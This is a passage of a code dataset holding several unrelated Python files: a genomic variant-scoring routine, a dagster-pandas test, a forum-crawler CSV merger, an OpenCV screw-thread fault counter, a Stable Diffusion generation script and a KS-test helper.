#\n\t\twrkf1.write(outline) #\n#\telse : #\n#\t\tprint \"did not pass PF\" #\n#\n###########################################################################################################\n#\n###########################################################################################################\ndef population_frequency(info_ln,header1): #\n#\n#\n#\tprint (\"population_frequency(info_ln): \") #\n#\tprint \"header : \",header1 #\n#\tprint info_ln[1] #\n\t#\n\tval=0 #\n#\tINFO1=re.split('\\t',info_ln) # split into file location and sample id\n#\tprint (VPOT_conf.PF_array) #\n\tfor j in range(len(VPOT_conf.PF_array)): #\n#\t\tprint (VPOT_conf.PF_array[j][1]) # move to pred_array slot\n\t\tfor i, content in enumerate(header1): # return the value and index number of each item in the line array \n#\t\t\tprint (\"content-\",content,\"/\",i,\"/\",VPOT_conf.PF_array[j][1]) \t\t\t\t#\n\t\t\tif (content == VPOT_conf.PF_array[j][1]) : # the population freq annotation we want? \n\t\t\t\tif ( info_ln[i] != \".\") :\t # if numeric check, else ok as most likely \".\" to state no annotation \n\t\t\t\t\ttemp_val=info_ln[i]\n\t\t\t\telse : # not number, so set a default as no annotation in population_frequency check would mean novel\t\n\t\t\t\t\ttemp_val=-999\n\t\t\t\tif ( VPOT_conf.is_number(temp_val) ) : # numeric\n\t\t\t\t#\t\t\t\t\tprint INFO1[i],INFO1[i+1],\"/\",PF_array[j][2] #\n#\t\t\t\t\tprint (\"temp_val yes :\",temp_val) #\n#\t\t\t\t\tprint (VPOT_conf.PF_array[j][3]) #\n\t\t\t\t\tif ( VPOT_conf.PF_array[j][3] == \"LE\" ) :\t # lower or each to PF limit \n#\t\t\t\t\t\tprint (info_ln[i],\"/\",VPOT_conf.PF_array[j][2]) #\n##\t\t\t\tif ( float(info_ln[i]) > float(VPOT_conf.PF_array[j][2]) ) :\t # when number is < 0.0001 it is expressed as e-0x \n\t\t\t\t\t\tif ( float(temp_val) > float(VPOT_conf.PF_array[j][2]) ) :\t # when number is < 0.0001 it is expressed as e-0x \n#\t\t\t\t\t\tprint (\"do not want : \",info_ln[i],\"/\",VPOT_conf.PF_array[j][2]) #\n\t\t\t\t\t\t\tval=1 # do not want this variant \n\t\t\t\t\t\t\tbreak #\n\t\t\t\t\telse : # GT look for greater or equal to PF limit\t\n\t\t\t\t\t\tif ( float(temp_val) < float(VPOT_conf.PF_array[j][2]) ) :\t # when number is < 0.0001 it is expressed as e-0x \n#\t\t\t\t\tprint INFO1[i],INFO1[i+1],\"/\",PF_array[j][2] #\n\t\t\t\t\t\t\tval=1 # do not want this variant \n\t\t\t\t\t\t\tbreak #\n#\n\treturn val #\n#\t\n###########################################################################################################\n#\n###########################################################################################################\ndef find_gene_ref(info_ln,header1): #\n#\n#\n#\tprint \"find_gene_ref(info_ln,header1): \" #\n#\tprint \"header : \",header1 #\n#\tprint info_ln[1] #\n\t#\n\tval=0 #\n\tfor i, content in enumerate(header1): # return the value and index number of each item in the line array \n#\t\tprint \"content-\",content,\"/\",i,\"/\",VPOT_conf.PF_array[j][1] \t\t\t\t#\n\t\tif (content == VPOT_conf.GN_value ) : # the gene ref annotation we want? \n\t\t\tVPOT_conf.gene_ref=info_ln[i] # save gene name \n\t\t\tbreak #\n#\t\n###########################################################################################################\n#\n###########################################################################################################\ndef score_the_variants(): #\n##\n#\tprint \"score_the_variants(): \" #\n\t#\n\theader1=re.split('\\t|\\n|\\r',VPOT_conf.header_ln) # split into file location and sample id\n\twith open(VPOT_conf.full_file1,'r',encoding=\"utf-8\") as variants_file, open(VPOT_conf.working_file1,'w',encoding=\"utf-8\") as score_file : # \n\t\tfor line1 in variants_file: # work each line of new sample vcf file \n\t\t\tpriority_score=0 # initialise score \n\t\t\tline_parts=re.split('\\t|\\n|\\r',line1) # split the variant up\n#\t\t\tprint (\"line parts : \",line_parts) #\n#\t\t\tprint (\"line part 0 : \",line_parts[0]) #\n\t\t\tif (\"#CHROM\" != line_parts[0]): #\n#\t\t\t\tprint src_line1 #\n\t\t\t\tlogging.debug('variant line : %s', str(line1))\n#\t\t\t\t\n\t\t\t\tif (len(VPOT_conf.PD_array) > 0 ) : # \n\t\t\t\t\tpriority_score=prioritise_variants_by_predictors(line_parts,header1) # get priority score\n\t\t\t\t#\n\t\t\t\tif (len(VPOT_conf.VT_array) > 0 ) : # \n#\t\t\t\t\tprint (\"check VT\") #\n\t\t\t\t\tpriority_score=priority_score+prioritise_variants_by_VT_types(line_parts,header1) # \n\t\t\t\t#\n\t\t\t\tif ( float(priority_score) <= 0 ) : # check priority score\n\t\t\t\t\tpriority_score=0 #\n#\n\t\t\t\tif ( int(priority_score) >= int(VPOT_conf.VariantScoreThreshold) ) : # check priority score,is it larger than threshold\n\t\t\t\t\toutline=str(priority_score)+tab+line1 # yes - then output it\n\t\t\t\t\tscore_file.write(outline) #\n#\t\t\t\tprint outline #\n#\t\t\t\tscore_file.write(outline) #\n\t\t\telse : # save the header line\t\n\t\t\t\toutline = \"Priority_score\"+tab+line1 #\n\t\t\t\tscore_file.write(outline) #\n#\n###########################################################################################################\n#\n###########################################################################################################\ndef prioritise_variants_by_predictors(INFO_details,header1): #\n#\n#\tglobal PD_array \n#\n#\tprint \"prioritise_variants_by_predictors(INFO_details): \" #\n#\n\ttype=2 # array location that contains the value for the type of predictor (alpha or numeric)\n\ta_value=a_score=0 # array location variable\n#\n\tval=wrkval=pdval=0 # this is the predictor priority score\n#\tprint INFO1 #\n\tfor j in range(len(VPOT_conf.PD_array)): #\n#\t\tprint (VPOT_conf.PD_array[j][1]) # move to pred_array slot\n\t\tpdval=0 #\n\t\tfor i, content in enumerate(header1): # return the value and index number of each item in the line array \n#\t\t\tprint \"content-\",content,\"/\",i\t\t\t\t#\n#\t\t\tprint content #\n\t\t\tif (content == VPOT_conf.PD_array[j][1]) : # the predictor annotation we want? \n\t\t\t\tlimit=len(VPOT_conf.PD_array[j]) # \n#\t\t\t\tprint \"PD_array: \", limit, PD_array[j] #\n#\t\t\t\tprint a_score, \"/\", a_value #\n\t\t\t\ta_value=type+1 #\n\t\t\t\ta_score=a_value+1 #\n#\t\t\t\tprint (\"INFO_details : \",INFO_details[i]) #\n\t\t\t\tpdval=0 #\n\t\t\t\tpredval=re.split('\\||&',INFO_details[i]) # split into individual values using delimiter | and & \n\t\t\t\tlogging.debug('PD info : %s - %s', content, predval)\n#\t\t\t\tprint (\"predval : \",predval) #\n\t\t\t\tfor k in range(len(predval)): #\n\t\t\t\t\tb_value=a_value #\n\t\t\t\t\tb_score=a_score #\n\t\t\t\t\twrkval=0 #\n\t\t\t\t\tif (VPOT_conf.PD_array[j][type] == \"A\") : # character field \n\t\t\t\t\t\twhile (b_value < len(VPOT_conf.PD_array[j])-1) : # loop thru the options for predictor scores \n\t\t\t\t\t\t\tif ( predval[k] == VPOT_conf.PD_array[j][b_value] ) :\t\t# is this the variant type we are looking for \n\t\t\t\t\t\t\t\twrkval=int(VPOT_conf.PD_array[j][b_score])\t \t\t# yes - return the score for the variant \n\t\t\t\t\t\t\t\tbreak \t\t\t\t\t\t\t\t\t\t# finish \n\t\t\t\t\t\t\tb_value+=2\t # bump to next value option \n\t\t\t\t\t\t\tb_score+=2\t # \n\t\t\t\t\t\tif (wrkval > pdval ) : #check for higher predictor score\n\t\t\t\t\t\t\tpdval=wrkval\t\n#\t\t\t\t\t\twhile (a_value < len(VPOT_conf.PD_array[j])-1) : # loop thru the options for predictor scores \n#\t\t\t\t\t\t\tif ( INFO_details[i] == VPOT_conf.PD_array[j][a_value] ) :\t\t# is this the variant type we are looking for \n#\t\t\t\t\t\t\t\tval=val+int(VPOT_conf.PD_array[j][a_score])\t \t\t# yes - return the score for the variant \n#\t\t\t\t\t\t\t\tbreak \t\t\t\t\t\t\t\t\t\t# finish \n#\t\t\t\t\t\t\ta_value+=2\t # bump to next value option \n#\t\t\t\t\t\t\ta_score+=2\t # \n\t\t\t\t\telse : # numeric field \n#\t\t\t\t\t\tif ( predval[k] != \".\") :\t # if annotation then continue \n\t\t\t\t\t\tif ( VPOT_conf.is_number(predval[k]) ) : # numeric\n\t\t\t\t\t\t\twhile (b_value < len(VPOT_conf.PD_array[j])-1) : # loop thru the options for predictor scores \n\t\t\t\t\t\t\t\tif ( float(predval[k]) < float(VPOT_conf.PD_array[j][b_value])) :\t # is this the variant type we are looking for \n\t\t\t\t\t\t\t\t\twrkval=int(VPOT_conf.PD_array[j][b_score])\t \t\t# yes - return the score for the variant \n\t\t\t\t\t\t\t\t\tbreak \t\t\t\t\t\t\t\t\t\t# finish \n\t\t\t\t\t\t\t\tif ( b_value+2 >= len(VPOT_conf.PD_array[j])-1) : # end of this PD limits \n#\t\t\t\t\t\t\t\tprint (\"checking last value\") #\n\t\t\t\t\t\t\t\t\tif ( float(predval[k]) > float(VPOT_conf.PD_array[j][b_value])) :\t # check the last value, which is a greater then check \n\t\t\t\t\t\t\t\t\t\twrkval=int(VPOT_conf.PD_array[j][b_score])\t \t\t# yes - return the score for the variant \n\t\t\t\t\t\t\t\tb_value+=2\t # bump to next value option \n\t\t\t\t\t\t\t\tb_score+=2\t # \n\t\t\t\t\t\t\tif (wrkval > pdval ) : #check for higher predictor score\n\t\t\t\t\t\t\t\tpdval=wrkval\t\n#\t\t\t\t\t\tif ( INFO_details[i] != \".\") :\t # if annotation then continue \n#\t\t\t\t\t\t\twhile (a_value < len(VPOT_conf.PD_array[j])-1) : # loop thru the options for predictor scores \n#\t\t\t\t\t\t\t\tif ( float(INFO_details[i]) < float(VPOT_conf.PD_array[j][a_value])) :\t # is this the variant type we are looking for \n#\t\t\t\t\t\t\t\t\tval=val+int(VPOT_conf.PD_array[j][a_score])\t \t\t# yes - return the score for the variant \n#\t\t\t\t\t\t\t\t\tbreak \t\t\t\t\t\t\t\t\t\t# finish \n#\t\t\t\t\t\t\t\tif ( a_value+2 >= len(VPOT_conf.PD_array[j])-1) : # end of this PD limits \n#\t\t\t\t\t\t\t\tprint (\"checking last value\") #\n#\t\t\t\t\t\t\t\t\tif ( float(INFO_details[i]) > float(VPOT_conf.PD_array[j][a_value])) :\t # check the last value, which is a greater then check \n#\t\t\t\t\t\t\t\t\t\tval=val+int(VPOT_conf.PD_array[j][a_score])\t \t\t# yes - return the score for the variant \n#\t\t\t\t\t\t\t\ta_value+=2\t # bump to next value option \n#\t\t\t\t\t\t\t\ta_score+=2\t # \n#\t\t\t\tprint (\"variant's PD score : \",pdval) #\n\t\t\t\tval=val+pdval\t \t\t# add to overall variant score \n\t\t\t\tbreak # done for this predictor annotation \n#\n\treturn val #\n#\t\n##\n#\tprint info_msg2 # parameter file supplied then use it\n###########################################################################################################\n#\n###########################################################################################################\ndef prioritise_variants_by_VT_types(INFO_details,header1): #\n#\n#\tglobal VT_array \n\tvariant_INFO_array=[]\n\tvariant_INFO_val_array=[]\n#\n\tval=wrkval=pdval=-999 # this is the predictor priority score\n\tVT_already_stored=False# \n\tVT_found_for_variant=False #\n\tVT_k_found=False #\n\tVT_k_has_annotation=False #\n\tVT_has_annotation_value_in_variant=False #\n#\tprint (\"Variant INFO :\",INFO_details) #\n\tVT_array_size=len(VPOT_conf.VT_array)\n#\tprint (\"number of VT lines in PPF :\",VT_array_size) #\n#\n# loop thru the PPF VT lines\n\tfor j in range(len(VPOT_conf.VT_array)): # move thru the VT lines in PPF\n#\t\tprint (\"VT array :\", VPOT_conf.VT_array[j]) # move to pred_array slot\n#\n# \t\tloop thru the variant's INFO details, working one VT PPF line at a time\n\t\tfor i, content in enumerate(header1): # return the value and index number of each item in the line array \n#\t\t\tprint (\"content-\",content,\"/\",i)\t\t\t\t#\n\t\t\tif (content == VPOT_conf.VT_array[j][1]) : # the variant functional annotation we want? then save the annotation details for later use\n\t\t\t\tVT_already_stored=False# \n\t\t\t\tif (len(variant_INFO_array) > 0) : # have I saved something already- yes\n\t\t\t\t\tfor v in range(len(variant_INFO_array)): # move thru the saved VT INFO fields\n\t\t\t\t\t\tif (content == variant_INFO_array[v]) : # my current VT INFO is already saved? - yes, no need to save it again\n\t\t\t\t\t\t\tVT_already_stored=True# \n\t\t\t\t\t\t\tbreak #\n\t\t\t\tif (not VT_already_stored) : # if not already saved - then save the INFO field name and values\n\t\t\t\t\t\tvariant_INFO_array.append(content)\n\t\t\t\t\t\tvariant_INFO_val_array.append(INFO_details[i])\n\tif (len(variant_INFO_array) < 1) : # NO VT INFO fields found\n#\t\tprint (\"no VT INFO field to match the VT PPF lines\") #\n\t\tval=0\t# then set a 0 score,\n\t\treturn val # no further processing\n######\n#\tprint (\"VT WORK array :\",variant_INFO_array, variant_INFO_val_array,\"\\n\") #\n\tlogging.debug('VT WORK array : %s - %s', variant_INFO_array, variant_INFO_val_array)\n#\tglobal VT_array \n#\n#####\n# now work these INFO fields\n\tfor v in range(len(variant_INFO_array)): # move thru the saved VT INFO fields\n#\t\tprint (\"VT array :\", VPOT_conf.VT_array[j]) # move to pred_array slot\n#\t\tprint (\"content-\",variant_INFO_array[v])\t\t\t\t#\n#\t\tprint (\"INFO_details : \",variant_INFO_val_array[v]) #\n\t\tpredval=re.split('\\||&',variant_INFO_val_array[v]) # split into individual values using delimiter | and & \n#\n\t\tfor k in range(len(predval)): # for the variant info fields\n\t\t\tVT_k_has_annotation=False # initalise for this set of VT annotaion\n\t\t\tVT_k_found=False # initalise for this set of VT annotaion\n#\n\t\t\tfor j in range(len(VPOT_conf.VT_array)): # move thru the VT lines in PPF\n\t\t\t\tif (variant_INFO_array[v] == VPOT_conf.VT_array[j][1]) : # the variant functional annotation we want? \n#\t\t\t\t\tprint (\"compare VT : vcf annotation - \",predval[k],\"/ PPF VT- \",VPOT_conf.VT_array[j]) #\n\t\t\t\t\tif (predval[k] != \".\") : # an annotated value\n\t\t\t\t\t\tVT_k_has_annotation=True #\n\t\t\t\t\t\tif ( predval[k] == VPOT_conf.VT_array[j][2]) :\t # is this the specific variant type we are looking for \n\t\t\t\t\t\t\tVT_k_found=True # found a match\n#\t\t\t\t\t\t\tprint (\"vtfound\") #\n\t\t\t\t\t\t\twrkval=int(VPOT_conf.VT_array[j][3])\t # yes - return the score for the variant\n\t\t\t\t\t\t\tif (wrkval > val ) : #check for higher predictor score\n#\t\t\t\t\t\t\t\tprint (\"new variant's VT score : \",wrkval) #\n\t\t\t\t\t\t\t\tval=wrkval\t\n\t\t\t\t\t\t\tbreak # stop loop as this one has found a match\n\t\t\t\t\telse : # there is no annotation for this INFO field\n\t\t\t\t\t\tbreak\n\t\t\t\t# end of for loop\n\t\t\t\t#\n#\t\t\tprint (\"setting the inds - found -\", VT_k_found, \"anno -\", VT_k_has_annotation,\"\\n\") # This annotation was found in PPF and scored\n\t\t\tif (VT_k_found and VT_k_has_annotation) : # This annotation was found in PPF and scored\n\t\t\t\tVT_found_for_variant=True\n\t\t\telif (VT_k_has_annotation) : # only had a valid annotation but not in PPF\n\t\t\t\tVT_has_annotation_value_in_variant=True\n#\n# have finished checking all the VT lines in the PPF against variant\n# now determine what is the prority score to pass back for the variant.\n#\n#\tprint (\"variant's before correction VT score : \",val) # this is the score based on matches to the PPF VT lines\n#\n#\tprint (\"final inds - VT_found -\", VT_found_for_variant, \"/ ANNO exist in variant -\", VT_has_annotation_value_in_variant,\"\\n\") # This annotation was found in PPF and scored\n\tlogging.debug('final inds - VT_found - %s / ANNO exist in variant - %s ', VT_found_for_variant, VT_has_annotation_value_in_variant)\n\tif (not VT_found_for_variant and VT_has_annotation_value_in_variant and (val == -999 )) : # variant's annotations were not in any of the VT PPF \n#\t\tprint (\"no VT annotations matched in the PPF VT lines for the variant\") #\n\t\tval=0\t# then set a 0 score,\n\telif (not VT_found_for_variant and not VT_has_annotation_value_in_variant ) : # no annotation found in the variant \n#\t\tprint (\"no VT annotations exist in the variant\") #\n\t\tval=0\t# then set a 0 score,\n\telif (VT_found_for_variant and (val < 0 )) : # there was a match but only for low score\n#\t\tprint (\"there was a match but only for low score\") #\n\t\tif (VT_has_annotation_value_in_variant) : # if there were other annotated values in the variant\n#\t\t\tprint (\"but there were other VT annotation for variants not in PPF\") #\n\t\t\tval=0\t# then set a 0 score,\n#\t\telse : # no other annotated field, so return the low value\t\n#\t\t\tprint (\"so return matched low value VT fields\") #\n#\telif (VT_found_for_variant and (val > 0 )) : # there was a match VT value from the PPF to the variant, and with a positive score \n#\t\tprint (\"matched VT fields\") #\n#\tprint (\"variant's final VT score : \",val) #\n###\n\treturn val #\n##\n#\n","repo_name":"VCCRI/VPOT","sub_path":"VPOT_1_2_TXT.py","file_name":"VPOT_1_2_TXT.py","file_ext":"py","file_size_in_byte":33361,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"53"}
+{"seq_id":"9894127937","text":"import os\n\nfrom dagster._cli.job import do_execute_command\nfrom dagster._core.definitions.reconstruct import ReconstructableJob\nfrom dagster._core.execution.api import execute_job\nfrom dagster._core.test_utils import instance_for_test\nfrom dagster._utils import file_relative_path\n\n\ndef test_execute_job():\n environment = {\n \"ops\": {\n \"sum_op\": {\n \"inputs\": {\"num\": {\"csv\": {\"path\": file_relative_path(__file__, \"num.csv\")}}}\n }\n }\n }\n\n with instance_for_test() as instance:\n with execute_job(\n ReconstructableJob.for_module(\"dagster_pandas.examples\", \"pandas_hello_world_test\"),\n run_config=environment,\n instance=instance,\n ) as result:\n assert result.success\n\n assert result.output_for_node(\"sum_op\").to_dict(\"list\") == {\n \"num1\": [1, 3],\n \"num2\": [2, 4],\n \"sum\": [3, 7],\n }\n\n assert result.output_for_node(\"sum_sq_op\").to_dict(\"list\") == {\n \"num1\": [1, 3],\n \"num2\": [2, 4],\n \"sum\": [3, 7],\n \"sum_sq\": [9, 49],\n }\n\n\ndef test_cli_execute():\n # currently paths in env files have to be relative to where the\n # script has launched so we have to simulate that\n cwd = os.getcwd()\n try:\n os.chdir(file_relative_path(__file__, \"../..\"))\n with instance_for_test() as instance:\n do_execute_command(\n recon_job=ReconstructableJob.for_module(\n \"dagster_pandas.examples\", \"pandas_hello_world_test\"\n ),\n instance=instance,\n config=[\n file_relative_path(\n __file__,\n \"../../dagster_pandas/examples/pandas_hello_world/*.yaml\",\n )\n ],\n )\n finally:\n # restore cwd\n os.chdir(cwd)\n\n\ndef test_cli_execute_failure():\n # currently paths in env files have to be relative to where the\n # script has launched so we have to simulate that\n # with pytest.raises(DagsterExecutionStepExecutionError) as e_info:\n cwd = os.getcwd()\n try:\n os.chdir(file_relative_path(__file__, \"../..\"))\n with instance_for_test() as instance:\n result = do_execute_command(\n recon_job=ReconstructableJob.for_module(\n \"dagster_pandas.examples\",\n \"pandas_hello_world_fails_test\",\n ),\n instance=instance,\n config=[\n file_relative_path(\n __file__,\n \"../../dagster_pandas/examples/pandas_hello_world/*.yaml\",\n )\n ],\n )\n failures = [event for event in result.all_node_events if event.is_failure]\n finally:\n # restore cwd\n os.chdir(cwd)\n\n assert len(failures) == 1\n assert \"I am a programmer and I make error\" in failures[0].step_failure_data.error.cause.message\n","repo_name":"dagster-io/dagster","sub_path":"python_modules/libraries/dagster-pandas/dagster_pandas_tests/pandas_hello_world/test_pandas_hello_world.py","file_name":"test_pandas_hello_world.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":8986,"dataset":"github-code","pt":"53"}
+{"seq_id":"5293880974","text":"import os\nimport csv\nfrom hyperreal.crawler.constants import *\nfrom hyperreal.crawler.crawler_error import *\nimport typing\n\n\ndef create_data_csv(folder: str) -> None:\n \"\"\"\n Create data.csv file from scrapped data and saves result in the given folder\n :param folder: folder with scrapped data: forums.csv, topics.csv, posts.csv\n \"\"\"\n try:\n posts_file = open(os.path.join(folder, POSTS_FILE_NAME), 'r', encoding=\"utf-8\")\n data_file = open(os.path.join(folder, DATA_FILE_NAME), 'w', encoding=\"utf-8\", newline='')\n forums_dict = _load_element_dict(folder, FORUMS_FILE_NAME, FORUMS_FORMAT)\n topics_dict = _load_element_dict(folder, TOPICS_FILE_NAME, TOPICS_FORMAT)\n except OSError:\n raise CrawlerError\n\n with posts_file, data_file:\n _process_posts(data_file, posts_file, forums_dict, topics_dict)\n\n\ndef append_data_csv(folder: str) -> None:\n \"\"\"\n Append newly scrapped data into existing data csv file\n :param folder: folder with scrapped and processed data: data.csv, forums.csv, forums_append.csv, topics.csv, topics_append.csv, posts.csv, posts_append.csv\n \"\"\"\n try:\n data_file = open(os.path.join(folder, DATA_FILE_NAME), 'r', encoding=\"utf-8\")\n forums_dict = _load_element_dict(folder, FORUMS_FILE_NAME, FORUMS_FORMAT)\n topics_dict = _load_element_dict(folder, TOPICS_FILE_NAME, TOPICS_FORMAT)\n forums_append_file = open(os.path.join(folder, FORUMS_TO_APPEND_FILE_NAME), 'r', encoding=\"utf-8\")\n topics_append_file = open(os.path.join(folder, TOPICS_TO_APPEND_FILE_NAME), 'r', encoding=\"utf-8\")\n posts_append_file = open(os.path.join(folder, POSTS_TO_APPEND_FILE_NAME), 'r', encoding=\"utf-8\")\n except OSError:\n raise CrawlerError\n\n with forums_append_file, topics_append_file:\n _append_element_dict(forums_dict, forums_append_file, FORUMS_FORMAT)\n _append_element_dict(topics_dict, topics_append_file, TOPICS_FORMAT)\n\n with data_file:\n posts_keys = _load_post_keys(data_file)\n\n with posts_append_file, open(os.path.join(folder, DATA_FILE_NAME), 'a', encoding='utf-8', newline='') as data_file:\n _append_posts(posts_append_file, posts_keys, forums_dict, topics_dict, data_file)\n\n\ndef _load_element_dict(folder_name: str, file_name: str, element_format: dict) -> dict:\n with open(os.path.join(folder_name, file_name), 'r', encoding=\"utf-8\") as file:\n return _create_element_dict(file, element_format)\n\n\ndef _create_element(row: list, element_format: dict) -> dict:\n element = {}\n for key in element_format.keys():\n element[key] = row[element_format[key]]\n return element\n\n\ndef _create_element_dict(file: typing.IO, element_format: dict) -> dict:\n csv_reader = csv.reader(file)\n csv_dict = {}\n for row in csv_reader:\n csv_dict[row[element_format[\"id\"]]] = _create_element(row, element_format)\n return csv_dict\n\n\ndef _append_element_dict(current_dict: dict, file: typing.IO, element_format: dict) -> None:\n csv_reader = csv.reader(file)\n for row in csv_reader:\n element = _create_element(row, element_format)\n if not element['id'] in current_dict:\n current_dict[element['id']] = element\n\n\ndef _get_topic(p: list, topics_dict: dict) -> dict:\n if p[POSTS_FORMAT['thread_id']] not in topics_dict:\n return None\n return topics_dict[p[POSTS_FORMAT['thread_id']]]\n\n\ndef _get_forum(p: list, forums_dict: dict, topics_dict: dict) -> dict:\n topic = _get_topic(p, topics_dict)\n if topic is None or topic['forum_id'] not in forums_dict:\n return None\n return forums_dict[topic['forum_id']]\n\n\ndef _create_data_line(post: list, topic: dict, forum: dict) -> list:\n data_line = [None] * 9\n data_line[DATA_FORMAT[\"post_id\"]] = post[POSTS_FORMAT[\"post_id\"]]\n data_line[DATA_FORMAT[\"thread_id\"]] = post[POSTS_FORMAT[\"thread_id\"]]\n data_line[DATA_FORMAT[\"post_number\"]] = post[POSTS_FORMAT[\"post_number\"]]\n data_line[DATA_FORMAT[\"author\"]] = post[POSTS_FORMAT[\"username\"]]\n data_line[DATA_FORMAT[\"content\"]] = post[POSTS_FORMAT[\"content\"]]\n data_line[DATA_FORMAT[\"date\"]] = post[POSTS_FORMAT[\"date\"]]\n data_line[DATA_FORMAT[\"forum_id\"]] = topic[\"forum_id\"]\n data_line[DATA_FORMAT[\"forum_link\"]] = forum[\"link\"]\n data_line[DATA_FORMAT[\"thread_name\"]] = topic[\"name\"]\n return data_line\n\n\ndef _process_posts(data_file: typing.IO, posts_file: typing.IO, forums_dict: dict, topics_dict: dict) -> None:\n csv_writer = csv.writer(data_file)\n csv_post_reader = csv.reader(posts_file)\n\n # write file header\n csv_writer.writerow(_create_csv_header(DATA_FORMAT))\n\n for post in csv_post_reader:\n topic = _get_topic(post, topics_dict)\n forum = _get_forum(post, forums_dict, topics_dict)\n\n if topic is None or forum is None:\n # TODO investigate how can this happen\n continue\n\n csv_writer.writerow(_create_data_line(post, topic, forum))\n\n\ndef _load_post_keys(data_file: typing.IO) -> dict:\n csv_reader = csv.reader(data_file)\n posts = {}\n for row in csv_reader:\n posts[row[DATA_FORMAT['post_id']]] = True\n return posts\n\n\ndef _append_posts(posts_file: typing.IO, posts_keys: dict, forums_dict: dict, topics_dict: dict,\n data_file: typing.IO) -> None:\n csv_post_reader = csv.reader(posts_file)\n csv_writer = csv.writer(data_file)\n for post in csv_post_reader:\n post_id = post[POSTS_FORMAT[\"post_id\"]]\n if post_id in posts_keys:\n continue\n topic = _get_topic(post, topics_dict)\n forum = _get_forum(post, forums_dict, topics_dict)\n\n if topic is None or forum is None:\n # TODO investigate how can this happen\n continue\n\n csv_writer.writerow(_create_data_line(post, topic, forum))\n\n\ndef _create_csv_header(element_format: dict) -> list:\n header = [None] * (len(element_format))\n\n for key in element_format.keys():\n header[element_format[key]] = key\n\n return header\n","repo_name":"wsrtka/Hyperreal","sub_path":"hyperreal/crawler/datautils.py","file_name":"datautils.py","file_ext":"py","file_size_in_byte":6023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15670373006","text":"import cv2\nimport winsound\n\nimg=cv2.imread('ip1.jpg')\nimg_gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\ncv2.imshow(\"gray\",img_gray)\n\ninv_img=cv2.bitwise_not(img_gray) #invert b&w colors\ncv2.imwrite('ip3.jpg',inv_img)\ncv2.imshow(\"inverted\",inv_img)\n\nres,thresh_img=cv2.threshold(inv_img,202,255,cv2.THRESH_BINARY_INV) #202 manual t value 255 is when value is less than thresh\ncv2.imwrite('ip2.jpg',thresh_img)\ncv2.imshow(\"threshold\",thresh_img)\n\nthresh_img=255- thresh_img\n\ncontours,hierarchy=cv2.findContours(thresh_img,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\nim2=cv2.findContours(thresh_img,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n\nsum1=0\nfor c in contours:\n area=cv2.contourArea(c)\n if area>4:\n #print (area)\n sum1+=1\nprint(\"no of threads\",sum1)\n\n\nif(sum1==30):\n print(\"No fault is detected\")\nelse:\n print(\"Fault detected\")\n winsound.Beep(440, 500) \n winsound.Beep(440, 500)\n winsound.Beep(440, 500)\n","repo_name":"amsu-priya/Innovative_project","sub_path":"Fault2_screw/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74094759529","text":"from diffusers import DiffusionPipeline\nimport torch\nfrom PIL import Image\nimport os, sys\nimport numpy as np\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Stable Diffusion\")\nparser.add_argument(\"--h\", dest=\"height\", type=int,help=\"height of the image\",default=512)\nparser.add_argument(\"--w\", dest=\"width\", type=int,help=\"width of the image\",default=512)\nparser.add_argument(\"--p\", dest=\"prompt\", type=str,help=\"Description of the image you want to generate\",default=\"cat\")\nparser.add_argument(\"--n\", dest=\"numSteps\", type=int,help=\"Number of Steps\",default=50)\nparser.add_argument(\"--s\", dest=\"seed\", type=int,help=\"Seed\",default=-1)\nparser.add_argument(\"--g\", dest=\"guidanceScale\", type=float,help=\"Number of Steps\",default=7.5)\nparser.add_argument(\"--b\", dest=\"batchSize\", type=int,help=\"Number of Images\",default=1)\nparser.add_argument(\"--o\", dest=\"output\", type=str,help=\"Output Folder where to store the Image\",default=\"./\")\n\nargs=parser.parse_args()\nheight=args.height\nwidth=args.width\nprompt=args.prompt\nnumSteps=args.numSteps\nseed=args.seed\nguidanceScale=args.guidanceScale\nbatchSize=args.batchSize\noutput=args.output\n\nif seed == -1:\n seed = np.random.randint(0, 10000000)\n\npipeline = DiffusionPipeline.from_pretrained(\"runwayml/stable-diffusion-v1-5\", torch_dtype=torch.float16)\npipeline.to(\"cuda\")\ngenerator = torch.Generator(\"cuda\").manual_seed(seed)\n\nimages = pipeline(prompt,\n guidance_scale=guidanceScale,\n num_inference_steps=numSteps,\n height=height, \n width=width,\n generator=generator\n )\nprint(images)\n\nfor img in images:\n pil_img = Image.fromarray(img)\n pil_img.save(f\"{output}/image_{i}.png\")\n","repo_name":"Xqua/CarpAI-Example-SD","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"42084279352","text":"import numpy as np\nfrom scipy import stats\n\n\ndef ks_test(data_1, data_2, disp=False):\n # p_value_list = []\n # statistic_list = []\n result = dict()\n for col in data_1.columns:\n res = stats.ks_2samp(data_1[col], data_2[col])\n result[col] = res[1]\n # p_value_list.append(res[1])\n # statistic_list.append(res[0])\n # n = np.argmax(p_value_list)\n # p_value = p_value_list[n]\n # statistic = statistic_list[n]\n # if disp:\n # print('Column p_value statistic')\n # for idx, col in enumerate(data_1.columns):\n # print(col, p_value_list[idx], statistic_list[idx])\n # return [p_value, statistic, data_1.columns[n], p_value_list, statistic_list]\n return result\n","repo_name":"EnZaNin/SyntheticDataGenerator","sub_path":"evaluation/ks_test.py","file_name":"ks_test.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
